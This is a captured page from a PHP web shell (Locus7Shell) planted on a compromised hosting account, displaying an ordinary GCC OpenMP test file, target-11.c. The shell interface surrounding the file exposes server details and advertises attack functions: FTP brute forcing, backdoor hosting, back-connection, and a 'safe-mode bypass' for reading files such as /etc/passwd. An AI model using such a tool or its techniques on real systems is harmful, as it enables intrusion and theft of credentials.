Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/libgomp/testsuite/libgomp.c/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     target-11.c (1.76 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* { dg-require-effective-target offload_device_nonshared_as } */

#include <stdlib.h>
#include <assert.h>

#define N 32

void test_array_section (int *p)
{
  #pragma omp target data map(alloc: p[0:N])
    {
      int ok = 1;
      for (int i = 10; i < 10 + 4; i++)
    p[i] = 997 * i;

      #pragma omp target map(always to:p[10:4]) map(tofrom: ok)
    for (int i = 10; i < 10 + 4; i++)
      if (p[i] != 997 * i)
        ok = 0;

      assert (ok);

      #pragma omp target map(always from:p[7:9])
    for (int i = 0; i < N; i++)
      p[i] = i;
    }
}

int main ()
{
  int aa = 0, bb = 0, cc = 0, dd = 0;

  #pragma omp target data map(tofrom: aa) map(to: bb) map(from: cc, dd)
    {
      int ok;
      aa = bb = cc = 1;

      /* Set dd on target to 0 for the further check.  */
      #pragma omp target map(always to: dd)
    ;

      dd = 1;
      #pragma omp target map(tofrom: aa) map(always to: bb) \
    map(always from: cc) map(to: dd) map(from: ok)
    {
      /* bb is always to, aa and dd are not.  */
      ok = (aa == 0) && (bb == 1) && (dd == 0);
      aa = bb = cc = dd = 2;
    }

      assert (ok);
      assert (aa == 1);
      assert (bb == 1);
      assert (cc == 2); /* cc is always from.  */
      assert (dd == 1);

      dd = 3;
      #pragma omp target map(from: cc) map(always to: dd) map(from: ok)
    {
      ok = (dd == 3); /* dd is always to.  */
      cc = dd = 4;
    }

      assert (ok);
      assert (cc == 2);
      assert (dd == 3);
    }

  assert (aa == 2);
  assert (bb == 1);
  assert (cc == 4);
  assert (dd == 4);

  int *array = calloc (N, sizeof (int));
  test_array_section (array);

  for (int i = 0; i < 7; i++)
    assert (array[i] == 0);
  for (int i = 7; i < 7 + 9; i++)
    assert (array[i] == i);
  for (int i = 7 + 9; i < N; i++)
    assert (array[i] == 0);

  free (array);
  return 0;
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0059 ]--